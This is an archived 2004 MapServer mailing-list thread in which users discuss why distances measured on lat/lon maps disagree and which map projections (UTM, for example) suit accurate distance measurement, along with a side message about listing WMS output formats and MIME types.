We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-685662255-1078344907=:37492-- From ed at topozone.com Wed Mar 3 12:24:13 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 15:24:13 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E73@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4015D.7E88C239 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. =20 As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: =20 Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 =20 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1=20 =20 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy =09 Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C4015D.7E88C239 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
I don't know what a "Cartesian" distance in = miles means=20 when your units are in degrees and the conversion between degrees and = miles=20 depends on the length and the orientation of the = line.
 
As I said, if you can provide more detail we = can offer more=20 advice.  For example, if all your distances are at a "small scale", = that's=20 more detail (you didn't say that before).  That helps define the = problem=20 better and helps us suggest solutions.  Please describe the problem = you're=20 trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject: RE:=20 [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results = would=20 be so different at such a small scale. Would you tell me if these = results seem=20 right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 =
 
Thanks again.

Ed McNierney = <ed at topozone.com>=20 wrote:
First, please ALWAYS reply to the entire = list. =20 That way everyone benefits from the conversation, and the first person = to=20 answer your question doesn't have to make a lifetime commitment to = further=20 questions!
 
Yes, of course you can choose one = projection for your=20 entire set of data.  Or you could switch based on what you're=20 mapping.  The reason there are so many map projections is because = each=20 has different properties, and therefore does some things well and = other things=20 less well.  The classic Mercator projection is excellent if you = are=20 navigating with a compass; it is very poor if you're trying to = persuade=20 someone that Brazil is several times larger than=20 Greenland.
 
You also need to have a feel for what level = of=20 accuracy you need for your measurements.  The UTM family of = projections=20 is popular in part because it allows fairly accurate distance = measurements,=20 does not distort shapes badly, and is easy to use.  However, you = need 10=20 different UTM zones to cover the lower 48 states.  If you need = even more=20 accuracy a custom Transverse Mercator projection centered on the=20 longitude of your central point would be better.
 
Mapping large areas in a single map is = harder to do=20 in an appealing way than mapping small areas, because spatial = distortion=20 becomes more obvious.
 
If you can provide a bit more detail on = what you're=20 trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed=20 McNierney
Subject: RE: [Mapserver-users] Distance=20 Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data = which=20 includes the whole United States (TIGER data). Or, do I somehow have = to switch=20 based on what I am mapping? If the latter is true, then do you have a=20 suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong = direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> = wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic = projection"=20 map it will not be a circle.  If you create a map with a = 20-mile extent=20 it will not be a square.
 
Maps using "geographic projection" are = useless for=20 making distance measurements; you simply cannot do them in any kind = of=20 sensible way.  The width of the top edge (east-west) of your = "20 mile"=20 image is DIFFERENT than the width of the bottom edge.  In fact, = each=20 row of pixels running across the image has a different width in=20 miles/feet/meters because they're all different distances from the=20 Equator.  That's why the set of all points 8 miles from a given = point=20 is not a circle or ring; it's not even an = ellipse.
 
You need to choose a projected coordinate = system in=20 order to do reasonable distance measurements.
 
   =20 - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com=20 / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North=20 Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 12:21 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a 20 = mile=20 extent, and we plot a point and calculate the distance from the = center using Great Circle we get 7.5 miles. Using a Cartesian=20 calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using = Great Circle=20 without the distance placing the point incorrectly inside or outside = the=20 ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask = these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C4015D.7E88C239-- From dmorissette at dmsolutions.ca Wed Mar 3 12:27:08 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 03 Mar 2004 15:27:08 -0500 Subject: [Mapserver-users] WMS Problems... In-Reply-To: <40461EA4.7010105@pobox.com> References: <40461EA4.7010105@pobox.com> Message-ID: <40463F9C.8040701@dmsolutions.ca> (Should we move this discussion to mapserver-dev?) Frank Warmerdam wrote: > > OK, looking in the code I see the following logic. Basically, because the > WMS 1.0.0 format names are ideosyncratic I guess someone (perhaps me?) made > the decision to just hardcode and support a few formats. That was me. (Not the decision on the format names, but the limited implementation) > > One is, should we fix 1.0.0 WMS support to emit entries for all > declared formats? Perhaps using the name of the outputformat > converted to upper case? This would give us the "well known" names > for the default GIF, PNG and JPEG formats and would allow arbitrary > other formats to be listed. > That would be a good idea... as Frank suggested, a bug should be filed if someone really cares about custom formats being listed in WMS 1.0.0 > The other issue is that there is currently no way to prevent the various > internally declared formats from appearing. Basically, all the standard > formats (if built in) will appear regardless of what output formats are > declared in the map file. The predefined ones are listed here (from > mapoutput.c): > There is already bug 455 which is indirectly related to that issue: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=455 > > If you see a need for being able to avoid pre-defined formats from > showing up in the list in the capabilities then file another bug > about this, but I think we should talk a bit about how to accomplish > it without too much disruption. > One possibility could be a flag in the outputformat object that indicates whether a given format should be visible in capabilities. The set of pre-defined formats would have some valid default settings so that things like text/xml doesn't appear in capabilities (see bug 455) In a previous message, Frank also wrote: > > It seems to me there is some way of adding options to mime types. Perhaps > we could have something like a mime type of "image/tiff+24bit" or something. > Anyone know more about this? > There was a thread on this on WMS-Dev back in June/July of 2002: http://www.intl-interfaces.net/pipermail/wms-dev/2002-June/000180.html There were two proposals, one by you (Frank): image/png image/png; name=png8 image/png; name=png24> and one by Craig Bruce from Cubewerx: image/png; PhotometricInterpretation=PaletteColor; SamplesPerPixel=1; BitsPerSample=8 image/png; PhotometricInterpretation=RGB; SamplesPerPixel=3; BitsPerSample="8,8,8" image/png It seemed that everyone agreed on the passing of additional parameters, but not on the name of the parameters to use. Jeff DLB concluded that email thread by saying that he would include a note in the WMS spec. I found the following note in the WMS 1.3.0 discussion paper: --- The basic structure of a MIME type is a string of the form "type/subtype". MIME allows additional parameters in a string of the form "type/subtype; param1=value1; param2=value2". A server may include parameterized MIME types in its list of supported output formats. In addition to any parameterized variants, the server should offer the basic unparameterized version of the format. --- However I didn't find anything specific to the name of the parameters to use to describe 8 bits vs 24 bits for instance. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mappington at yahoo.com Wed Mar 3 12:29:15 2004 From: mappington at yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 12:29:15 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E73@mercator.topozone.com> Message-ID: <20040303202915.86712.qmail@web61110.mail.yahoo.com> --0-175570635-1078345755=:85870 Content-Type: text/plain; charset=us-ascii We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote:I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington at yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-175570635-1078345755=:85870 Content-Type: text/html; charset=us-ascii
We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks and let me know if you need more detail to provide suggestions.


Ed McNierney <ed at topozone.com> wrote:
I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line.
 
As I said, if you can provide more detail we can offer more advice.  For example, if all your distances are at a "small scale", that's more detail (you didn't say that before).  That helps define the problem better and helps us suggest solutions.  Please describe the problem you're trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed at topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-175570635-1078345755=:85870-- From ed at topozone.com Wed Mar 3 12:55:11 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 15:55:11 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E79@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40161.D1A02DCD Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. =20 You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. =20 You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.=20 =20 So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? =20 Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote:=20 I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. =20 As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation =09 =09 I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: =20 Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 =20 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1=20 =20 Thanks again. =09 Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy =09 Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington at yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C40161.D1A02DCD Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Yes, that helps a lot.  First, you MUST = project your=20 data if you're going to create a raster image of it, unless your users = have=20 ellipsoidal monitor screens <g>.  Using lat/lon coordinates = as X/Y=20 coordinates is a projection, too - it's just not a very useful one for = most=20 purposes.  If you're going to measure distances you need = appropriately=20 projected maps.
 
You might do best with the UTM projection = family.  It=20 is simple, common, and easy to use.  It is not an equidistant = projection=20 and there will be a VERY small distortion, but for areas as small as = yours I=20 think it will be completely invisible.  There are other more = accurate=20 projections (equidistant conic, for example) that require more work on = your=20 part.
 
You do, however, need to choose the appropriate = UTM zone=20 for each map you make, based on the longitude of the center point.  = If you=20 try to make a map that is very small scale (showing a large portion of = the=20 country) it will look strange around the edges.  But if you make = maps of=20 less than a few hundred miles in extent no one will = notice.
 
    - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
